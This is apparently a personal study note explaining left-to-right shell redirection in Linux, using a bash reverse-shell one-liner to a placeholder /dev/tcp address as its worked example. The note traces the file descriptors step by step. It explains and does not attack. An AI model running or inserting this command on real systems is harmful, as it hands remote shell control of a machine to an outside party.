redirection in Linux

Redirections in Linux can be interpreted as following:

  1. Redirections are run from left to right.
  2. > is similar to =, which is an assignment
  3. & is close to $ in bash, which indicates variables

For the example in [[201911041338]],

bash -i >& /dev/tcp/<ip><port> 0>&1

Here are three parts:

  1. bash -i which is the command to launch new shell
  2. >& /dev/tcp/<ip><port>, which redirects the stdout of 1 to /dev/tcp/<ip><port> as the stdin
  3. 0>&1 redirects the stdin as the stdout

The process steps are shown as following:

Initial status of bash -i 0=stdin 1=stdout

after >& /dev/tcp/<ip><port>

0=stdin 1=(stdin of) /dev/tcp/<ip><port> (the stdin is default)

after 0>&1

0=(stdout of) /dev/tcp/<ip><port> 1=(stdin of) /dev/tcp/<ip><port>

Ref: 1 2


  1. [[bash - Order of redirections - Unix & Linux Stack Exchange]] ↩︎

  2. [[shell - What does “3>&1 1>&2 2>&3” do in a script? - Unix & Linux Stack Exchange]] ↩︎